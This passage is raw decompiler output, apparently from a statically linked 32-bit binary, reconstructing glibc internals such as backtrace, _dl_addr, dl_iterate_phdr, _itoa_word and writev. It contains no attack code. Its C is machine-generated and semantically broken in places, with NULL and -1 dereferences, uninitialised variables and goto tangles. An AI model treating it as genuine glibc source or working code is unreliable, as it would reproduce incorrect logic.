g97 = v1 != 1 ? 1 : g96; // branch -> 0x80bbcbf // 0x80bbcbf return g96; } // 0x80bbcbf g97 = g96; // branch -> 0x80bbcbf } // 0x80bbcbf return g96; } // Address range: 0x80bbcc4 - 0x80bbce1 int32_t __register_atfork(void) { // 0x80bbcc4 g95 = 0; int32_t v1 = g85; // 0x80bbcda int32_t result; // 0x80bbce1_1 if (v1 == 0) { // if_80bbcda_2_true g85 = 1; result = 0; // branch -> after_if_80bbcda_2 } else { // if_80bbcda_2_false g95 = v1; result = v1; // branch -> after_if_80bbcda_2 } // after_if_80bbcda_2 return result; } // Address range: 0x80bc238 - 0x80bc298 void backtrace_helper(void) { // 0x80bc238 int32_t v1; int32_t * v2 = (int32_t *)(v1 + 4); // 0x80bc244_0 int32_t v3 = *v2; // 0x80bc244 int32_t v4 = v3 + 1; // 0x80bc247 if (v3 != -1) { // 0x80bc24c abort(); // UNREACHABLE } // 0x80bc25d *v2 = v4; if (v4 == *(int32_t *)(v1 + 8)) { // 0x80bc28c return; } // 0x80bc268 abort(); // UNREACHABLE } // Address range: 0x80bc29c - 0x80bc357 int32_t __backtrace(int32_t * a1, uint32_t a2) { int32_t v1 = *a1; // 0x80bc2a5 g101 = v1; g98 = a2; g95 = 0; int32_t * v2 = NULL; // bp-20 int32_t * v3 = (int32_t *)v1; // 0x80bc2b8_0 if (a2 >= 1) { // 0x80bc2c9 _Unwind_Backtrace((int32_t)backtrace_helper, *v3); // branch -> 0x80bc2d6 } int32_t v4 = *(int32_t *)-1; // 0x80bc2d6 int32_t v5 = v4; int32_t result; // 0x80bc2f0 if (v4 >= 2) { // 0x80bc2e1 if (*(int32_t *)(4 * v4 - 4 + *v3) == 0) { // 0x80bc34c result = v4 - 1; // branch -> 0x80bc2f0 // 0x80bc2f0 if (result == -1) { // 0x80bc340 return 0; } // 0x80bc2f7 return result; } } // 0x80bc2ec result = v4; if (g98 <= v4) { // 0x80bc2f0 if (result == -1) { // 0x80bc340 return 0; } // 0x80bc2f7 return result; } uint32_t v6 = *NULL; // 0x80bc300 int32_t v7 = v6; if (v6 < *v2) { result = v4; // 0x80bc2f0 if (result == -1) { // 0x80bc340 return 0; } // 0x80bc2f7 return result; } // 0x80bc308 if (v6 <= g3) { // 0x80bc310 if (v6 == 3) { int32_t v8 = g101 + 4 * v4; // branch -> 0x80bc318 int32_t v9; // 0x80bc31d while (true) { // 0x80bc318 *a1 = *(int32_t *)7; v9 = v5 + 1; v5 = v9; int32_t * v10 = (int32_t *)v9; // 0x80bc31e_0 uint32_t v11 = *(int32_t *)v7; // 0x80bc321 v7 = v11; if (v9 == g98) { // 0x80bc2f0 result = v9; // branch -> 0x80bc2f0 // 0x80bc2f0 if (result == -1) { // 0x80bc340 return 0; } // 0x80bc2f7 return result; } // 0x80bc327 if (*v2 > v11) { // 0x80bc352 result = *v10; // branch -> 0x80bc2f0 } else { // 0x80bc32c if (g3 >= v11) { // 0x80bc334 v8 += 4; if (v11 != 3) { // break -> 0x80bc2f0 break; } // continue -> 0x80bc318 continue; } // 0x80bc2f0 result = v9; // branch -> 0x80bc2f0 } // 0x80bc2f0 if (result == -1) { // 0x80bc340 return 0; } // 0x80bc2f7 return result; } // 0x80bc2f0 result = v9; // branch -> 0x80bc2f0 } else { result = v4; } } else { result = v4; } // 0x80bc2f0 if (result == -1) { // 0x80bc340 return 0; } // 0x80bc2f7 return result; } // Address range: 0x80bc358 - 0x80bc52f int32_t backtrace_symbols_fd(int32_t ** a1, int32_t result, int32_t a3, int32_t a4) { int32_t v1 = g100; // 0x80bc358 int32_t v2 = g98; // bp-16 int32_t v3 = g102; if (result > 0) { struct struct_18 * v4 = g2; // 0x80bc415_3 int32_t v5 = (int32_t)v4; // 0x80bc3b9 int32_t v6 = 1; // 0x80bc3fa4 int32_t ** v7 = a1; // 0x80bc47f_03 int32_t v8 = (int32_t)a1; // branch -> 0x80bc40c while (true) { // 0x80bc40c g98 = v8; g95 = *(int32_t *)v8; if (_dl_addr((int32_t **)v4, v1) != 0) { // 0x80bc422 char * str; if (str != NULL) { // 0x80bc42d if (*str != 0) { // 0x80bc436 g98 = -1; strlen(str); int32_t v9; g101 = v9; if (v9 == 0) { // 0x80bc4f0 g98 = 2; g102 = 3; g101 = 4; // branch -> 0x80bc399 } else { // 0x80bc458 strlen((char *)v9); uint32_t v10 = *(int32_t *)v7; // 0x80bc485 int32_t v11; if (v10 < 0x80bc3ed) { // 0x80bc4e3 v11 = 0x80bc3ed - v10; // branch -> 0x80bc494 } else { // 0x80bc48b v11 = v10 - 0x80bc3ed; // branch -> 0x80bc494 } // 0x80bc494 g95 = v11; v2 = 16; _itoa_word(v11, v11, 16, v5, v5); g98 = 7; g102 = 8; g101 = 9; // branch -> 0x80bc399 } lab_0xa56d7a0:; int32_t v12 = (int32_t)v7; // 0x80bc3b1 g95 = v12; int32_t v13 = *(int32_t *)v7; // 0x80bc3b7 _itoa_word(v13, v2, 16, v5, v1); __writev(a3, (int32_t)"]\n", g101, v13, &v2, 16); int32_t v14 = v12 + 4; // 0x80bc3f0 if (v6 == result) { // 0x80bc368 // branch -> 0x80bc368 // 0x80bc368 g102 = 0; g100 = v1; return 146; } // 0x80bc406 v6++; v7 = (int32_t **)v14; v8 = v14; // branch -> 0x80bc40c continue; } } } // 0x80bc388 g98 = 1; g102 = 2; g101 = 3; // branch -> 0x80bc399 goto lab_0xa56d7a0; } } // 0x80bc368 g102 = v3; g100 = v1; return result; } // Address range: 0x80bf380 - 0x80bf430 int32_t __dl_iterate_phdr(int32_t a1, struct struct_3 * a2) { // 0x80bf380 __pthread_mutex_lock_internal((struct struct_3 *)&g23, (int32_t *)NULL, &NULL->e0, &NULL->e0); int32_t v1 = g91; // 0x80bf3a2 g98 = v1; if (v1 == 0) { // 0x80bf411 g101 = 0; // branch -> 0x80bf413 } else { struct struct_88 * v2 = NULL; // 0x80bf3ef_0 // branch -> 0x80bf3bc while (true) { int32_t v3 = *(int32_t *)v1; // 0x80bf3bc int32_t v4 = *(int32_t *)(v1 + 4); // 0x80bf3c1 int32_t v5 = *(int32_t *)(v1 + 332); // 0x80bf3c7 uint32_t v6 = g87; // 0x80bf3db uint32_t v7 = g88; // 0x80bf3e0 uint32_t v8 = (int32_t)(struct struct_10 *)g92; // 0x80bf3ec g95 = v6 - v8; uint32_t v9 = (int32_t)v2; // 0x80bf3ef int32_t v10 = v6 < v8; // 0x80bf3ef int32_t v11 = v7 - v9; // 0x80bf3ef bool v12 = v6 < v8 ? v7 < v11 - v10 | v2 == (struct struct_88 *)-1 : v7 < v9; // 0x80bf3ef g1 = v12; int32_t v13 = v10 + v11; // 0x80bf3ef g103 = v13 == 0; g97 = v13; ((int32_t (*)(int32_t, int32_t, int32_t, int32_t, int32_t, int32_t, int32_t, int32_t))a1)(v3, 32, (int32_t)a2, v8, (int32_t)g2, v3, v4, v5); int32_t v14 = g95; // 0x80bf401 g101 = v14; if (v14 == 0) { int32_t v15 = *(int32_t *)(g98 + 12); // 0x80bf40a g98 = v15; if (v15 == 0) { // 0x80bf411 g101 = 0; // branch -> 0x80bf413 // 0x80bf413 __pthread_mutex_unlock_internal((struct struct_45 *)&g23); g95 = (int32_t)(struct struct_3 *)0x8132558; return g101; } // 0x80bf40a v2 = NULL; v1 = v15; // branch -> 0x80bf3bc continue; } } } // 0x80bf413 __pthread_mutex_unlock_internal((struct struct_45 *)&g23); g95 = (int32_t)(struct struct_3 *)0x8132558; return g101; } // Address range: 0x80bf434 - 0x80bf4ab int32_t dl_iterate_phdr(int32_t a1, struct struct_3 * a2) { // 0x80bf434 g102 = a1; int32_t v1 = (int32_t)a2; // 0x80bf440 g101 = v1; int32_t v2 = g90; // 0x80bf443 int32_t v3; // 0x80bf49c int32_t result; // 0x80bf4aa_11 int32_t v4; // 0x80bf49b if (v2 == 0) { v4 = a1; // 0x80bf49a v3 = __dl_iterate_phdr(v4, (struct struct_3 *)v1); g96 = v4; result = v3; // branch -> 0x80bf4a3 } else { uint32_t v5 = g87; // 0x80bf467 uint32_t v6 = g88; // 0x80bf46c uint32_t v7 = g92; // 0x80bf478 g96 = v7; g98 = 0; g95 = v5 - v7; int32_t v8 = v5 < v7; // 0x80bf482 g1 = v5 < v7 & v6 < v6 - v8; int32_t v9 = v8 + v6; // 0x80bf482 g103 = v9 == 0; g97 = v9; int32_t v10 = (int32_t)g2; // 0x80bf491 ((int32_t (*)(int32_t, int32_t, int32_t, int32_t, int32_t, int32_t, int32_t, int32_t))a1)(v10, 32, v1, v10, 0x8119573, g89, 0x10000 * v2 / 0x10000, v5); if (g95 == 0) { // 0x80bf44d v4 = g102; // branch -> 0x80bf49a // 0x80bf49a v3 = __dl_iterate_phdr(v4, (struct struct_3 *)g101); g96 = v4; result = v3; // branch -> 0x80bf4a3 } } // 0x80bf4a3 return result; } // Address range: 0x80bf4ac - 0x80bf6b3 int32_t _dl_addr(int32_t ** a1, int32_t a2) { int32_t v1 = g95; int32_t v2 = g97; int32_t v3 = g96; // 0x80bf4b9 int32_t ** v4 = (int32_t **)v3; // 0x80bf4b9_0 __pthread_mutex_lock_internal((struct struct_3 *)&g23, (int32_t *)v3, &NULL->e0, &NULL->e0); int32_t v5 = g91; if (g91 != 0) { int32_t v6 = g91; // 0x80bf51d int32_t v7 = (int32_t)(struct struct_3 *)0x8132558; // 0x80bf4ec // branch -> 0x80bf4dc while (true) { // 0x80bf4dc int32_t v8; if (v1 >= g2[51].e0) { // 0x80bf4e4 if (v1 < g2[52].e0) { uint32_t v9 = g2[42].e0; if ((v9 || v7 & -0x10000) != 0) { int32_t v10 = 32 * (v9 % 0x10000) - 32 + g2[41].e0; // 0x80bf50e // branch -> 0x80bf50c while (*(int32_t *)v10 != 1) { // 0x80bf50c v10 -= 32; // continue -> 0x80bf50c } int32_t v11 = *(int32_t *)(v10 + 20); // 0x80bf51f int32_t v12 = v11 + *(int32_t *)v6 + *(int32_t *)(v10 + 8); // 0x80bf51f if (v1 >= v12) { // 0x80bf528 v8 = g2[1].e0; v5 = v8; if (v8 == 0) { // break -> 0x80bf52f break; } v6 = v8; v7 = v12; // continue -> 0x80bf4dc continue; } } // 0x80bf551 if (v6 == 0) { // 0x80bf52f // branch -> 0x80bf531 // 0x80bf531 __pthread_mutex_unlock_internal((struct struct_45 *)&g23); return 0; } // 0x80bf558 *(int32_t *)v2 = *(int32_t *)(v6 + 4); *(int32_t *)(v2 + 4) = g2[51].e0; uint32_t v13; // 0x80bf5cd struct struct_18 * v14; // bp-20 uint32_t v15; uint32_t v16; int32_t v17; // 0x80bf657 int32_t v18; // 0x80bf58c uint32_t v19; // 0x80bf577 int32_t v20; // 0x80bf57d uint32_t v21; // 0x80bf586 int32_t v22; // 0x80bf58c int32_t v23; // 0x80bf5c7 struct struct_18 * v24; // 0x80bf5f9_0 struct struct_18 * v25; // bp+022 struct struct_18 * v26; // 0x80bf603_0 struct struct_18 * v27; // bp+026 int32_t v28; // 0x80bf615 struct struct_18 * v29; int32_t * v30; // 0x80bf65c if (*(char *)*(int32_t *)(v5 + 4) != 0) { // 0x80bf558 v18 = v6; // branch -> 0x80bf574 // 0x80bf574 v19 = *(int32_t *)(*(int32_t *)(v18 + 56) + 4); v20 = *(int32_t *)(*(int32_t *)(v18 + 52) + 4); v21 = *(int32_t *)(*(int32_t *)(v18 + 72) + 4); v22 = *(int32_t *)(v18 + 48); v15 = v20; if (v22 != 0) { // 0x80bf597 v15 = 16 * *(int32_t *)(*(int32_t *)(v22 + 4) + 4) + v19; // branch -> 0x80bf5a6 } // 0x80bf5a6 if (v15 > v19) { // 0x80bf5ab v14 = NULL; v16 = v1; v26 = NULL; v24 = NULL; v28 = v19; // branch -> 0x80bf5c7 while (true) { // 0x80bf5c7 v23 = *(int32_t *)(v28 + 4); v13 = v23 + *(int32_t *)v6; if (v16 < v13) { v25 = v24; v27 = v26; goto lab_0x7bd6640; } goto lab_0x122958e0; } } else { // 0x80bf61a v14 = NULL; // branch -> 0x80bf621 } // 0x80bf621 v29 = NULL; if (v3 != 0) { // 0x80bf628 *v4 = (int32_t *)v6; v29 = v14; // branch -> 0x80bf630 } // 0x80bf630 if (a1 != NULL) { // 0x80bf637 *a1 = &v29->e0; // branch -> 0x80bf63f } // 0x80bf63f if (v29 == NULL) { // 0x80bf677 *(int32_t *)(v2 + 8) = 0; *(int32_t *)(v2 + 12) = 0; // branch -> 0x80bf531 // 0x80bf531 __pthread_mutex_unlock_internal((struct struct_45 *)&g23); return 1; } // 0x80bf646 *(int32_t *)(v2 + 8) = v29->e0 + v20; v17 = *(int32_t *)v6; v30 = v14->e1; *(int32_t *)(v2 + 12) = (int32_t)v30 + v17; // branch -> 0x80bf531 // 0x80bf531 __pthread_mutex_unlock_internal((struct struct_45 *)&g23); return 1; } // 0x80bf68f if (g2[47].e0 == 3) { // 0x80bf698 *(int32_t *)v2 = g22; v18 = v6; // branch -> 0x80bf574 } else { // 0x80bf6a9 v18 = v6; // branch -> 0x80bf574 } // 0x80bf574 v19 = *(int32_t *)(*(int32_t *)(v18 + 56) + 4); v20 = *(int32_t *)(*(int32_t *)(v18 + 52) + 4); v21 = *(int32_t *)(*(int32_t *)(v18 + 72) + 4); v22 = *(int32_t *)(v18 + 48); v15 = v20; if (v22 != 0) { // 0x80bf597 v15 = 16 * *(int32_t *)(*(int32_t *)(v22 + 4) + 4) + v19; // branch -> 0x80bf5a6 } // 0x80bf5a6 if (v15 > v19) { // 0x80bf5ab v14 = NULL; v16 = v1; v26 = NULL; v24 = NULL; v28 = v19; // branch -> 0x80bf5c7 while (true) { // 0x80bf5c7 v23 = *(int32_t *)(v28 + 4); v13 = v23 + *(int32_t *)v6; v25 = v24; v27 = v26; int32_t v31; // 0x80bf5bc if (v16 >= v13) { lab_0x122958e0:; unsigned char v32 = *(char *)(v28 + 12); // 0x80bf5d3 int32_t v33 = v5 & -256; // 0x80bf5d3 v5 = v33 | (int32_t)v32; if (v32 % 16 != 6) { int32_t v34 = *(int32_t *)(v28 + 8); // 0x80bf5e0 if (v34 == 0) { // 0x80bf5e7 if (v16 != v13) { // 0x80bf5eb if (v16 >= v34 + v13) { v25 = v24; v27 = v26; lab_0x7bc80d0: // 0x80bf5bc v31 = v28 + 16; if (v15 <= v31) { // 0x80bf621 v29 = v27; if (v3 != 0) { // 0x80bf628 *v4 = (int32_t *)v6; v29 = v14; // branch -> 0x80bf630 } // 0x80bf630 if (a1 != NULL) { // 0x80bf637 *a1 = &v29->e0; // branch -> 0x80bf63f } // 0x80bf63f if (v29 == NULL) { // 0x80bf677 *(int32_t *)(v2 + 8) = 0; *(int32_t *)(v2 + 12) = 0; // branch -> 0x80bf531 // 0x80bf531 __pthread_mutex_unlock_internal((struct struct_45 *)&g23); return 1; } // 0x80bf646 *(int32_t *)(v2 + 8) = v29->e0 + v20; v17 = *(int32_t *)v6; v30 = v14->e1; *(int32_t *)(v2 + 12) = (int32_t)v30 + v17; // branch -> 0x80bf531 // 0x80bf531 __pthread_mutex_unlock_internal((struct struct_45 *)&g23); return 1; } lab_0x7bc8340: // 0x80bf5c4 v26 = v27; v24 = v25; v28 = v31; // branch -> 0x80bf5c7 continue; } } } else { // 0x80bf5eb if (v16 >= v34 + v13) { v25 = v24; v27 = v26; goto lab_0x7bc80d0; } // 0x80bf5f2 if (v21 <= *(int32_t *)v28) { v25 = v24; v27 = v26; goto lab_0x7bc80d0; } lab_0x2ab944a0:; // 0x80bf5f9 int32_t v35; // 0x80bf60b if (v24 != NULL) { // 0x80bf600 if ((struct struct_88 *)v23 <= (struct struct_88 *)v26->e1) { v25 = v26; v27 = v26; goto lab_0x7bc80d0; } struct struct_18 * v36 = v26; // bp+024 // 0x80bf60b v35 = (int32_t)(v32 / 16) | v33; v5 = v35; if (v35 > 2) { v25 = v36; v27 = v26; goto lab_0x7bc80d0; } lab_0x1040bd20:; struct struct_18 * v37 = (struct struct_18 *)v28; // 0x80bf615_0 v14 = v37; v25 = v37; v27 = v37; // branch -> 0x80bf5bc goto lab_0x7bc80d0; } // 0x80bf60b v35 = (int32_t)(v32 / 16) | v33; v5 = v35; if (v35 > 2) { v25 = NULL; v27 = v26; goto lab_0x7bc80d0; } goto lab_0x1040bd20; } // 0x80bf5f2 if (v21 > *(int32_t *)v28) { goto lab_0x2ab944a0; } v25 = v24; v27 = v26; goto lab_0x7bc80d0; } else { v25 = v24; v27 = v26; } } lab_0x7bd6640: // 0x80bf5bc v31 = v28 + 16; if (v15 > v31) { goto lab_0x7bc8340; } // 0x80bf621 v29 = v27; if (v3 != 0) { // 0x80bf628 *v4 = (int32_t *)v6; v29 = v14; // branch -> 0x80bf630 } // 0x80bf630 if (a1 != NULL) { // 0x80bf637 *a1 = &v29->e0; // branch -> 0x80bf63f } // 0x80bf63f if (v29 == NULL) { // 0x80bf677 *(int32_t *)(v2 + 8) = 0; *(int32_t *)(v2 + 12) = 0; // branch -> 0x80bf531 // 0x80bf531 __pthread_mutex_unlock_internal((struct struct_45 *)&g23); return 1; } // 0x80bf646 *(int32_t *)(v2 + 8) = v29->e0 + v20; v17 = *(int32_t *)v6; v30 = v14->e1; *(int32_t *)(v2 + 12) = (int32_t)v30 + v17; // branch -> 0x80bf531 // 0x80bf531 __pthread_mutex_unlock_internal((struct struct_45 *)&g23); return 1; } } else { // 0x80bf61a v14 = NULL; // branch -> 0x80bf621 } // 0x80bf621 v29 = NULL; if (v3 != 0) { // 0x80bf628 *v4 = (int32_t *)v6; v29 = v14; // branch -> 0x80bf630 } // 0x80bf630 if (a1 != NULL) { // 0x80bf637 *a1 = &v29->e0; // branch -> 0x80bf63f } // 0x80bf63f if (v29 == NULL) { // 0x80bf677 *(int32_t *)(v2 + 8) = 0; *(int32_t *)(v2 + 12) = 0; // branch -> 0x80bf531 // 0x80bf531 __pthread_mutex_unlock_internal((struct struct_45 *)&g23); return 1; } // 0x80bf646 *(int32_t *)(v2 + 8) = v29->e0 + v20; v17 = *(int32_t *)v6; v30 = v14->e1; *(int32_t *)(v2 + 12) = (int32_t)v30 + v17; // branch -> 0x80bf531 // 0x80bf531 __pthread_mutex_unlock_internal((struct struct_45 *)&g23); return 1; } } // 0x80bf528 v8 = g2[1].e0; v5 = v8; if (v8 == 0) { // break -> 0x80bf52f break; } v6 = v8; // continue -> 0x80bf4dc } // 0x80bf52f // branch -> 0x80bf52f } // 0x80bf52f // branch -> 0x80bf531 // 0x80bf531 __pthread_mutex_unlock_internal((struct struct_45 *)&g23); return 0; } // Address range: 0x80c0270 - 0x80c029c int32_t __gconv_find_transform(int32_t a1, int32_t a2, int32_t a3) { // 0x80c0270 g101 = g95; g98 = g97; g102 = g96; pthread_once(&g86, (void (*)(int32_t *))__gconv_read_conf); g95 = 0x813a8a4; g97 = (int32_t)__gconv_read_conf; return 0x813a8a4; } // Address range: 0x80c0490 - 0x80c04b9 int32_t __gconv_close_transform(int32_t a1, int32_t a2, int32_t a3, int32_t a4) { // 0x80c0490 g95 = 0; g96 = 1; int32_t v1 = g94; // 0x80c04b2 int32_t result; // 0x80c04b9_1 if (v1 == 0) { // if_80c04b2_2_true g94 = 1; result = 0; // branch -> after_if_80c04b2_2 } else { // if_80c04b2_2_false g95 = v1; result = v1; // branch -> after_if_80c04b2_2 } // after_if_80c04b2_2 return result; } // Address range: 0x80c0e30 - 0x80c10eb void __gconv_read_conf(void) { // 0x80c0e30 abort(); // UNREACHABLE } // Address range: 0x80cce78 - 0x80ccf6a int32_t _itoa_word(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5) { int32_t v1 = g95; // 0x80cce7e g96 = a1; int32_t v2 = a4 == 0 ? 0x81172a0 : 0x81172e0; int32_t result; if (a3 != 10) { // 0x80cce9d if (a3 == 16) { while (true) { int32_t v3 = a2 - 1; // 0x80ccf10 result = v3; unsigned char v4 = *(char *)(a1 % 16 + v2); // 0x80ccf16 g95 = v4; *(char *)v3 = v4; uint32_t v5 = g96; // 0x80ccf1b uint32_t v6 = v5 / 16; // 0x80ccf1b g96 = v6; if (v5 >= 16) { int32_t v7 = result - 1; // 0x80ccf20 result = v7; unsigned char v8 = *(char *)(v2 + v6 % 16); // 0x80ccf26 g95 = v8; *(char *)v7 = v8; uint32_t v9 = g96; // 0x80ccf2b int32_t v10 = v9 / 16; // 0x80ccf2b g96 = v10; if ((v9 & 8) != 0) { // 0x80ccf20 a1 = v10; a2 = result; // branch -> 0x80ccf10 continue; } } } // 0x80ccebe g97 = v1; return result; } // 0x80ccea2 if (a3 == 8) { while (true) { int32_t v11 = a2 - 1; // 0x80ccf34 result = v11; unsigned char v12 = *(char *)(a1 % 8 + v2); // 0x80ccf3a g95 = v12; *(char *)v11 = v12; uint32_t v13 = g96; // 0x80ccf3f uint32_t v14 = v13 / 8; // 0x80ccf3f g96 = v14; if (v13 >= 8) { int32_t v15 = result - 1; // 0x80ccf48 result = v15; unsigned char v16 = *(char *)(v2 + v14 % 8); // 0x80ccf4e g95 = v16; *(char *)v15 = v16; uint32_t v17 = g96; // 0x80ccf53 int32_t v18 = v17 / 8; // 0x80ccf53 g96 = v18; if ((v17 & 4) != 0) { // 0x80ccf48 a1 = v18; a2 = result; // branch -> 0x80ccf34 continue; } } } } else { uint32_t v19 = a3; // 0x80cceb1 while (true) { int32_t v20 = a2 - 1; // 0x80cceac result = v20; int32_t v21 = a1 / v19; g96 = v21; unsigned char v22 = *(char *)(a1 % v19 + v2); // 0x80cceb5 g95 = (int32_t)v22 | v21 & -256; *(char *)v20 = v22; int32_t v23 = g96; // 0x80cceba if (v23 != 0) { // 0x80cceac v19 = a3; a1 = v23; a2 = result; // branch -> 0x80cceac continue; } } } // 0x80ccebe g97 = v1; return result; } while (true) { int32_t v24 = a2 - 1; // 0x80ccec8 result = v24; g95 = a1 / 10; *(char *)v24 = *(char *)(a1 % 10 + v2); uint32_t v25 = g96; // 0x80ccee0 g96 = 0; if ((v25 / 2 & 4) == 0) { // 0x80ccebe g97 = v1; return result; } int32_t v26 = result - 1; // 0x80cceeb result = v26; g95 = 0; *(char *)v26 = *(char *)v2; uint32_t v27 = g96; // 0x80ccf03 g96 = 0; if ((v27 / 2 & 4) != 0) { // 0x80cceeb a1 = 0; a2 = result; // branch -> 0x80ccec8 continue; } // 0x80ccebe g97 = v1; return result; } } // Address range: 0x80dbb78 - 0x80dbbe2 int32_t _IO_wsetb(struct struct_141 * a1, int32_t * a2, int32_t * a3, int32_t result) { int32_t * v1 = (int32_t *)g98; // 0x80dbb7c_0 int32_t v2 = (int32_t)a1; // 0x80dbb7d int32_t v3 = *(int32_t *)(v2 + 88); // 0x80dbb80 g96 = v3; int32_t v4 = *(int32_t *)(v3 + 24); // 0x80dbb83 int32_t v5 = a1->e0; // 0x80dbbe0 int32_t v6 = v5; int32_t v7 = v3; // 0x80dbb94 int32_t * v8 = v1; // 0x80dbbd5_02 if (v4 != 0) { // 0x80dbb8a if (v5 == 1) { int32_t * v9 = (int32_t *)v4; // 0x80dbbcf_0 munmap(v9, (*(int32_t *)(v3 + 28) - v4) / 4 + 4095 & -0x1000); int32_t v10 = *(int32_t *)(v2 + 88); // 0x80dbbd7 g96 = v10; v6 = *(int32_t *)v2; v7 = v10; v8 = v9; // branch -> 0x80dbb91 } else { v7 = v3; v8 = v1; } } // 0x80dbb91 *(int32_t *)(v7 + 24) = (int32_t)a2; *(int32_t *)(g96 + 28) = (int32_t)a3; if (result == 0) { // 0x80dbbb0 *(int32_t *)v2 = v6 | 1; g98 = (int32_t)v8; return 0; } // 0x80dbba4 *(int32_t *)v2 = v6 & -2; g98 = (int32_t)v8; return result; } // Address range: 0x80dbe3c - 0x80dbebc int32_t _IO_free_wbackup_area(struct struct_143 * a1, int32_t a2) { int32_t v1 = (int32_t)a1; // 0x80dbe40 uint32_t v2 = a1->e0; // 0x80dbe43 if ((v2 & -256) == 256) { // 0x80dbe94 free((int32_t *)*(int32_t *)(*(int32_t *)(v1 + 88) + 32)); int32_t result = *(int32_t *)(v1 + 88); // 0x80dbe9f *(int32_t *)(result + 32) = 0; *(int32_t *)(result + 40) = 0; *(int32_t *)(result + 36) = 0; return result; } // 0x80dbe4a a1->e0 = 256 * (v2 / 256 & 254) | v2 & -0xff01; int32_t v3 = *(int32_t *)(v1 + 88); // 0x80dbe4f int32_t * v4 = (int32_t *)(v3 + 4); // 0x80dbe52_0 *v4 = *(int32_t *)(v3 + 40); *(int32_t *)(v3 + 40) = *v4; int32_t * v5 = (int32_t *)(v3 + 8); // 0x80dbe5e_0 int32_t v6 = *(int32_t *)(v3 + 32); // 0x80dbe61 *v5 = v6; *(int32_t *)(v3 + 32) = *v5; *(int32_t *)v3 = v6; free((int32_t *)*(int32_t *)(v3 + 32)); int32_t result2 = *(int32_t *)(v1 + 88); // 0x80dbe74 *(int32_t *)(result2 + 32) = 0; *(int32_t *)(result2 + 40) = 0; *(int32_t *)(result2 + 36) = 0; return result2; } // Address range: 0x80e27a4 - 0x80e28c6 int32_t __atomic_writev_replacement(int32_t a1, int32_t a2, int32_t a3) { int32_t v1 = g100; // 0x80e27a4 int32_t * v2 = (int32_t *)g102; // 0x80e27a7_0 int32_t * v3 = (int32_t *)g101; // 0x80e27a8_0 int32_t * v4 = (int32_t *)g98; // 0x80e27a9_0 int32_t * v5 = (int32_t *)g95; // 0x80e27ad_0 int32_t v6 = g97; // 0x80e27b0 int32_t v7 = v6; int32_t * v8; // 0x80e288d_59 int32_t * v9; // 0x80e288a_18 int32_t result; int32_t * v10; // 0x80e288d2 int32_t * v11; // 0x80e288d27 int32_t * v12; int32_t result2; // 0x80e27f5 int32_t v13; // 0x80e2873 int32_t v14; // 0x80e2889 int32_t v15; // 0x80e28b2 int32_t v16; // 0x80e28b8 int32_t v17; // 0x80e2870 uint32_t v18; // 0x80e28af if (g96 < 1) { // 0x80e27ff g102 = 0; v13 = 0; // branch -> 0x80e2817 // 0x80e2817 g95 = v13 + 18 & -4; result = g96; int32_t v19 = v13; // 0x80e281e if (g96 > 0) { // 0x80e2870 v17 = v7; v7 = v13; v15 = v13; v16 = v17; v10 = v12; // branch -> 0x80e28ac while (true) { // 0x80e28ac v18 = *(int32_t *)(v16 + 4); result = v15; v14 = v15; if (v15 > v18) { lab_0x7c47110: // 0x80e2884 result = v18; v14 = v18; // branch -> 0x80e2889 } lab_0x7c478b0: // 0x80e2889 g97 = v16; int32_t v20 = *(int32_t *)v16; // 0x80e288a int32_t * v21 = mempcpy(v10, (int32_t *)v20, v14); // 0x80e288d int32_t v22 = v7; // 0x80e2895 int32_t v23 = result; // 0x80e2895 int32_t v24 = v22 - v23; // 0x80e2895 v7 = v24; if (v22 != v23) { // 0x80e2899 if ((int32_t *)g96 == (int32_t *)0x80e2893) { // break -> 0x80e281e break; } v15 = v24; v16 += 8; v10 = v21; // continue -> 0x80e28ac continue; } // 0x80e281e // branch -> 0x80e281e // 0x80e281e __libc_write(); // branch -> 0x80e27f5 // 0x80e27f5 g98 = (int32_t)v5; g101 = (int32_t)v12; g102 = (int32_t)(int32_t *)g102; g100 = v1; return result; } // 0x80e281e v19 = g102; // branch -> 0x80e281e } // 0x80e281e __libc_write(); result2 = result; v8 = (int32_t *)v19; v9 = v12; v11 = v5; // branch -> 0x80e27f5 } else { int32_t v25 = *(int32_t *)(v6 + 4); // 0x80e27b9 g97 = v25; if (v25 >= 0) { int32_t v26 = v6 + 12; // 0x80e27c4 g98 = v26; int32_t v27 = 0; // 0x80e27ce int32_t v28 = 0; // 0x80e27cc // branch -> 0x80e27cc while (true) { int32_t v29 = v28 + v25; // 0x80e27cc g102 = v29; int32_t v30 = v27 + 1; // 0x80e27ce if (g96 == v30) { // 0x80e2848 v13 = v29; if (v29 >= 0x1001) { // 0x80e2850 int32_t v31; int32_t v32 = __libc_alloca_cutoff(v29, v1, v31); // 0x80e2851 g97 = v29; int32_t v33 = g102; // 0x80e285b if (v32 == 0) { int32_t * v34 = (int32_t *)v33; // 0x80e285b_0 __libc_malloc(v34, v1, v31); g97 = v33; // branch -> 0x80e27f5 // 0x80e27f5 g98 = (int32_t)v4; g101 = (int32_t)(int32_t *)0x80e2861; g102 = (int32_t)v34; g100 = v1; return -1; } v13 = v33; } // 0x80e2817 g95 = v13 + 18 & -4; if (g96 > 0) { // 0x80e2870 v17 = v7; v7 = v13; v15 = v13; v16 = v17; v10 = v12; // branch -> 0x80e28ac while (true) { // 0x80e28ac v18 = *(int32_t *)(v16 + 4); result = v15; if (v15 > v18) { goto lab_0x7c47110; } v14 = v15; goto lab_0x7c478b0; } } // 0x80e281e __libc_write(); // branch -> 0x80e27f5 // 0x80e27f5 g98 = (int32_t)v5; g101 = (int32_t)v12; g102 = (int32_t)(int32_t *)v13; g100 = v1; return g96; } int32_t v35 = *(int32_t *)v26; // 0x80e27d4 g97 = v35; int32_t v36 = v26 + 8; // 0x80e27d6 g98 = v36; int32_t v37 = 0x7fffffff - v29; // 0x80e27de g95 = v37; if (v35 > v37) { // break -> 0x80e27e4 break; } v26 = v36; v27 = v30; v25 = v35; v28 = v29; // continue -> 0x80e27cc } // 0x80e27e4 // branch -> 0x80e27e4 } // 0x80e27e4 g95 = -24; result2 = -1; v8 = v2; v9 = v3; v11 = v4; // branch -> 0x80e27f5 } // 0x80e27f5 g98 = (int32_t)v11; g101 = (int32_t)v9; g102 = (int32_t)v8; g100 = v1; return result2; } // Address range: 0x80e28c8 - 0x80e29d3 int32_t __writev(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t * a5, int32_t a6) { int32_t v1 = g102; // 0x80e28cb g102 = a1; if (a3 == 0) { // 0x80e28e7 g97 = 0; g96 = 146; // branch -> 0x80e2923 } else { int32_t v2 = __libc_enable_asynccancel(a6, 0); // 0x80e2945 